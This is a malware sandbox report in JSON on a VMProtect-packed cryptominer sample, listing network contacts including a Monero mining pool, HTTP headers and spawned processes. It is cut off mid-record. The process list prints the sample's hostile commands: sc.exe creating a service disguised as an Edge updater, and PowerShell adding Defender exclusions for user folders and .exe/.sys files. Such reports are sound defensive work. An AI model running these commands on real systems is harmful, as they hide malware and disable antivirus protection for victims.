sections","filetype_short":"PE64","mime_type":"application/x-dosexec"},"Ip:104.18.25.75":{"type":"Ip","value":"104.18.25.75"},"Ip:104.243.33.118":{"type":"Ip","value":"104.243.33.118"},"Ip:104.254.150.241":{"type":"Ip","value":"104.254.150.241"},"Ip:104.26.5.88":{"type":"Ip","value":"104.26.5.88"},"Ip:150.171.109.77":{"type":"Ip","value":"150.171.109.77"},"Ip:150.171.27.10":{"type":"Ip","value":"150.171.27.10"},"Ip:151.101.193.44":{"type":"Ip","value":"151.101.193.44"},"Ip:172.64.146.215":{"type":"Ip","value":"172.64.146.215"},"Ip:3.170.185.44":{"type":"Ip","value":"3.170.185.44"},"Url:/":{"type":"Url","value":"/"},"Url:/bounce?%2Fmapuid%3Fmember%3D280%26user%3D222166F75FD3671F181970045E3D66DC%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D222166F75FD3671F181970045E3D66DC%252526gdpr%25253D0%252526gdpr_consent%25253D":{"type":"Url","value":"/bounce?%2Fmapuid%3Fmember%3D280%26user%3D222166F75FD3671F181970045E3D66DC%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D222166F75FD3671F181970045E3D66DC%252526gdpr%25253D0%252526gdpr_consent%25253D"},"Url:/mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D":{"type":"Url","value":"/mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D"},"Url:/seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D222166F75FD3671F181970045E3D66DC%26gdpr%3D0%26gdpr_consent%3D":{"type":"Url","value":"/seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D222166F75FD3671F181970045E3D66DC%26gdpr%3D0%26gdpr_consent%3D"},"Url:/setuid?entity=483&code=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent=":{"type":"Url","value":"/setuid?entity=483&code=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent="},"Url:/setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent=":{"type":"Url","value":"/setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent="},"Url:/sg/msn/1/cm?taboola_hm=32DFF8A43A9F6A9B15B5EE573B1A6B37&gdpr=0&gdpr_consent=":{"type":"Url","value":"/sg/msn/1/cm?taboola_hm=32DFF8A43A9F6A9B15B5EE573B1A6B37&gdpr=0&gdpr_consent="}},"chains":[{"id":"1542567930203765374","root":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","edges":[{"edge_kind":"contacted_domain","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Domain:5a079f09a20a74891348b37ee6cd0439e53fc19ee2d447fda2cb315ec7e6903c"}],"verdict":{"verdict":"unknown"}},{"id":"sandbox_network","root":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","edges":[{"edge_kind":"contacted_ip","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Ip:3.170.185.44"},{"edge_kind":"contacted_ip","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Ip:172.64.146.215"},{"edge_kind":"contacted_ip","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Ip:151.101.193.44"},{"edge_kind":"contacted_ip","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Ip:104.254.150.241"},{"edge_kind":"contacted_ip","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Ip:104.26.5.88"},{"edge_kind":"contacted_ip","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Ip:104.18.25.75"},{"edge_kind":"contacted_ip","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Ip:104.243.33.118"},{"edge_kind":"contacted_domain","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Domain:5a079f09a20a74891348b37ee6cd0439e53fc19ee2d447fda2cb315ec7e6903c"},{"edge_kind":"contacted_domain","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Domain:edge-consumer-static.azureedge.net"},{"edge_kind":"resolves_to","from_key":"Domain:edge-consumer-static.azureedge.net","to_key":"Ip:150.171.109.77"},{"edge_kind":"contacted_domain","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Domain:ib.adnxs.com"},{"edge_kind":"resolves_to","from_key":"Domain:ib.adnxs.com","to_key":"Ip:104.254.150.241"},{"edge_kind":"contacted_domain","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Domain:m.adnxs.com"},{"edge_kind":"resolves_to","from_key":"Domain:m.adnxs.com","to_key":"Ip:104.254.150.241"},{"edge_kind":"contacted_domain","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Domain:polygon-public.nodies.app"},{"edge_kind":"resolves_to","from_key":"Domain:polygon-public.nodies.app","to_key":"Ip:104.26.5.88"},{"edge_kind":"contacted_domain","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Domain:polygon.lava.build"},{"edge_kind":"resolves_to","from_key":"Domain:polygon.lava.build","to_key":"Ip:104.18.25.75"},{"edge_kind":"contacted_domain","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Domain:polygon.rpc.subquery.network"},{"edge_kind":"contacted_domain","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Domain:pool.supportxmr.com"},{"edge_kind":"resolves_to","from_key":"Domain:pool.supportxmr.com","to_key":"Ip:104.243.33.118"},{"edge_kind":"contacted_domain","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Domain:px.ads.linkedin.com"},{"edge_kind":"resolves_to","from_key":"Domain:px.ads.linkedin.com","to_key":"Ip:172.64.146.215"},{"edge_kind":"contacted_domain","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Domain:r.msftstatic.com"},{"edge_kind":"resolves_to","from_key":"Domain:r.msftstatic.com","to_key":"Ip:150.171.27.10"},{"edge_kind":"contacted_domain","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Domain:sb.scorecardresearch.com"},{"edge_kind":"resolves_to","from_key":"Domain:sb.scorecardresearch.com","to_key":"Ip:3.170.185.44"},{"edge_kind":"contacted_domain","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Domain:trc.taboola.com"},{"edge_kind":"resolves_to","from_key":"Domain:trc.taboola.com","to_key":"Ip:151.101.193.44"},{"edge_kind":"contacted_url","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Url:/"},{"edge_kind":"contacted_url","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Url:/setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent="},{"edge_kind":"contacted_url","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Url:/sg/msn/1/cm?taboola_hm=32DFF8A43A9F6A9B15B5EE573B1A6B37&gdpr=0&gdpr_consent="},{"edge_kind":"contacted_url","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Url:/mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D"},{"edge_kind":"contacted_url","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Url:/bounce?%2Fmapuid%3Fmember%3D280%26user%3D222166F75FD3671F181970045E3D66DC%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D222166F75FD3671F181970045E3D66DC%252526gdpr%25253D0%252526gdpr_consent%25253D"},{"edge_kind":"contacted_url","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Url:/seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D222166F75FD3671F181970045E3D66DC%26gdpr%3D0%26gdpr_consent%3D"},{"edge_kind":"contacted_url","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"Url:/setuid?entity=483&code=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent="}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","edges":[{"edge_kind":"extracted","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2"},{"edge_kind":"extracted","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"File:6eb31505864d096e5127cf54dea5dab85ab448fe2982bc78a2dc141e121efd99"},{"edge_kind":"extracted","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"File:44b782158dca05e0447c47374ab45dc05dd9750cd05cc01d345925d2154d5439"},{"edge_kind":"extracted","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"},{"edge_kind":"extracted","from_key":"File:aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","to_key":"File:1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":62,"spawned_processes_count":62,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":11,"imported_dlls_count":224,"dropped_files_count":0,"extracted_files_count":5,"files_written_count":14,"files_deleted_count":0,"registry_keys_created_count":17,"registry_keys_modified_count":0,"registry_keys_deleted_count":17,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":34,"embedded_ips_count":0,"embedded_domains_count":1,"embedded_urls_count":0,"contacted_hosts_count":7,"dns_resolutions_count":12,"contacted_urls_count":7,"http_requests_count":7},"behavior_tags":["commodity","mineware","criminal","xmrig","suspicious","malicious"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6a7ecd9762e05992d1045909","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Win64.VMProtect","contacted_countries":["USA"],"submit_name":"SecuriteInfo.com.Win64.Evo-gen.49237433.exe","analysis_start_time":"2026-08-14T08:11:04+00:00","indicators_count":{"informative":220,"suspicious":54,"malicious":14},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"3.170.185.44","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"address":"172.64.146.215","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"address":"151.101.193.44","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"address":"104.254.150.241","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"address":"104.26.5.88","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"address":"104.18.25.75","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"address":"104.243.33.118","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]}],"dns_resolutions":[{"domain":"rpc.sentio.xyz","sources":[{"report_type":"qsp","report_id":""}]},{"domain":"edge-consumer-static.azureedge.net","address":"150.171.109.77","ttl":1059,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"domain":"ib.adnxs.com","address":"104.254.150.241","ttl":20920,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"domain":"m.adnxs.com","address":"104.254.150.241","ttl":9349,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"domain":"polygon-public.nodies.app","address":"104.26.5.88","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"domain":"polygon.lava.build","address":"104.18.25.75","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"domain":"polygon.rpc.subquery.network","ttl":615,"country":"-","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"domain":"pool.supportxmr.com","address":"104.243.33.118","ttl":21600,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"domain":"px.ads.linkedin.com","address":"172.64.146.215","ttl":217,"country":"-","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"domain":"r.msftstatic.com","address":"150.171.27.10","ttl":2608,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"domain":"sb.scorecardresearch.com","address":"3.170.185.44","ttl":60,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"domain":"trc.taboola.com","address":"151.101.193.44","ttl":237,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]}],"http_requests":[{"host":"polygon-public.nodies.app","host_ip":"104.26.5.88:443","url":"/","method":"POST","response_code":"403","response_phrase":"Forbidden","header":"POST / HTTP/1.1\nContent-Type: application/json\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.43 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 OPR/129.0.0.0\nHost: polygon-public.nodies.app\nContent-Length: 136\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"host":"px.ads.linkedin.com","host_ip":"172.64.146.215:443","url":"/setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent=","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/2\nHost: px.ads.linkedin.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nSec-Fetch-Mode: no-cors\nSec-Fetch-Storage-Access: active\nReferer: https://ntp.msn.com/\nSec-Fetch-Site: cross-site\nAccept-Language: en-US,en;q=0.9\nCookie: bcookie=\"v=2&1391f723-91e0-4064-8cb8-08df8de6ce67\"\nPriority: i\nAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8\nSec-Ch-Ua: \"Not:A-Brand\";v=\"99\", \"Microsoft Edge\";v=\"145\", \"Chromium\";v=\"145\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: image","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"host":"trc.taboola.com","host_ip":"151.101.193.44:443","url":"/sg/msn/1/cm?taboola_hm=32DFF8A43A9F6A9B15B5EE573B1A6B37&gdpr=0&gdpr_consent=","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /sg/msn/1/cm?taboola_hm=32DFF8A43A9F6A9B15B5EE573B1A6B37&gdpr=0&gdpr_consent= HTTP/2\nHost: trc.taboola.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nSec-Fetch-Mode: no-cors\nSec-Fetch-Storage-Access: none\nReferer: https://ntp.msn.com/\nSec-Fetch-Site: cross-site\nAccept-Language: en-US,en;q=0.9\nPriority: i\nAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8\nSec-Ch-Ua: \"Not:A-Brand\";v=\"99\", \"Microsoft Edge\";v=\"145\", \"Chromium\";v=\"145\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: image","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"host":"m.adnxs.com","host_ip":"104.254.150.241:443","url":"/mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D","method":"GET","response_code":"307","response_phrase":"Temporary Redirect","header":"GET /mapuid?member=280&user=222166F75FD3671F181970045E3D66DC;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D222166F75FD3671F181970045E3D66DC%2526gdpr%253D0%2526gdpr_consent%253D HTTP/2\nHost: m.adnxs.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nSec-Fetch-Mode: no-cors\nSec-Fetch-Storage-Access: active\nReferer: https://ntp.msn.com/\nSec-Fetch-Site: cross-site\nAccept-Language: en-US,en;q=0.9\nPriority: i\nAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8\nSec-Ch-Ua: \"Not:A-Brand\";v=\"99\", \"Microsoft Edge\";v=\"145\", \"Chromium\";v=\"145\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nX-Edge-Shopping-Flag: 1\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: image","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"host":"m.adnxs.com","host_ip":"104.254.150.241:443","url":"/bounce?%2Fmapuid%3Fmember%3D280%26user%3D222166F75FD3671F181970045E3D66DC%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D222166F75FD3671F181970045E3D66DC%252526gdpr%25253D0%252526gdpr_consent%25253D","method":"GET","response_code":"302","response_phrase":"Found","header":"GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D222166F75FD3671F181970045E3D66DC%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D222166F75FD3671F181970045E3D66DC%252526gdpr%25253D0%252526gdpr_consent%25253D HTTP/2\nHost: m.adnxs.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nSec-Fetch-Mode: no-cors\nSec-Fetch-Storage-Access: active\nReferer: https://ntp.msn.com/\nSec-Fetch-Site: cross-site\nAccept-Language: en-US,en;q=0.9\nCookie: uuid2=5682776640747475913\nPriority: i\nAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8\nSec-Ch-Ua: \"Not:A-Brand\";v=\"99\", \"Microsoft Edge\";v=\"145\", \"Chromium\";v=\"145\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nX-Edge-Shopping-Flag: 1\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: image","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"host":"m.adnxs.com","host_ip":"104.254.150.241:443","url":"/seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D222166F75FD3671F181970045E3D66DC%26gdpr%3D0%26gdpr_consent%3D","method":"GET","response_code":"302","response_phrase":"Found","header":"GET /seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D222166F75FD3671F181970045E3D66DC%26gdpr%3D0%26gdpr_consent%3D HTTP/2\nHost: m.adnxs.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nSec-Fetch-Mode: no-cors\nSec-Fetch-Storage-Access: active\nReferer: https://ntp.msn.com/\nSec-Fetch-Site: cross-site\nAccept-Language: en-US,en;q=0.9\nCookie: anj=dTM7k!M4/8CxrEQF']wIg2E>3f4*3G!]tbP6j2F-XstGt!@DrB$ubOR\nPriority: i\nAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8\nSec-Ch-Ua: \"Not:A-Brand\";v=\"99\", \"Microsoft Edge\";v=\"145\", \"Chromium\";v=\"145\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nX-Edge-Shopping-Flag: 1\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: image","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"host":"ib.adnxs.com","host_ip":"104.254.150.241:443","url":"/setuid?entity=483&code=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent=","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /setuid?entity=483&code=222166F75FD3671F181970045E3D66DC&gdpr=0&gdpr_consent= HTTP/2\nHost: ib.adnxs.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0\nSec-Fetch-Mode: no-cors\nSec-Fetch-Storage-Access: active\nReferer: https://ntp.msn.com/\nSec-Fetch-Site: cross-site\nAccept-Language: en-US,en;q=0.9\nCookie: anj=dTM7k!M4/8CxrEQF']wIg2E>3f4*3G!]tbP6j2F-XstGt!@DrB$ubOR\nPriority: i\nAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8\nSec-Ch-Ua: \"Not:A-Brand\";v=\"99\", \"Microsoft Edge\";v=\"145\", \"Chromium\";v=\"145\"\nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"Windows\"\nX-Edge-Shopping-Flag: 1\nAccept-Encoding: gzip, deflate, br, zstd\nSec-Fetch-Dest: image","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]}],"embedded_domains":[{"value":"rpc.sentio.xyz","sources":[{"report_type":"qsp","report_id":""}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}],"processes":[{"pid":4180,"ppid":0,"name":"SecuriteInfo.com.Win64.Evo-gen.49237433.exe","command_line":"","sha256":"aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","normalized_path":"C:\\SecuriteInfo.com.Win64.Evo-gen.49237433.exe","uid":"00000000-00004180","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7848,"ppid":4180,"name":"sc.exe","command_line":"delete \"MicrosoftEdgeUpdateTaskMachine_3aa5\"","sha256":"34128709cb5bc2b222dc6f25561a07b1f90689800a84931ac5d37c50a548f908","normalized_path":"%WINDIR%\\System32\\sc.exe","parent_uid":"00000000-00004180","uid":"00000000-00007848"},{"pid":5824,"ppid":4180,"name":"sc.exe","command_line":"create \"MicrosoftEdgeUpdateTaskMachine_3aa5\" binpath= \"%ALLUSERSPROFILE%\\Microsoft\\Network\\Diagnostics\\73BF5F50\\LockAppHost14a02b.exe\" start= \"auto\"","sha256":"34128709cb5bc2b222dc6f25561a07b1f90689800a84931ac5d37c50a548f908","normalized_path":"%WINDIR%\\System32\\sc.exe","parent_uid":"00000000-00004180","uid":"00000000-00005824"},{"pid":4544,"ppid":4180,"name":"sc.exe","command_line":"start \"MicrosoftEdgeUpdateTaskMachine_3aa5\"","sha256":"34128709cb5bc2b222dc6f25561a07b1f90689800a84931ac5d37c50a548f908","normalized_path":"%WINDIR%\\System32\\sc.exe","parent_uid":"00000000-00004180","uid":"00000000-00004544"},{"pid":7684,"ppid":0,"name":"nslookup.exe","command_line":"","sha256":"5b3e823a803bc6c3def556789d72b1aa48cc5668473a9e28addb00c728cee78f","normalized_path":"%WINDIR%\\System32\\nslookup.exe","uid":"00000000-00007684","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":5432,"ppid":7684,"name":"powershell.exe","command_line":"Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData, $env:TEMP) -ExclusionExtension @('.exe', '.sys') 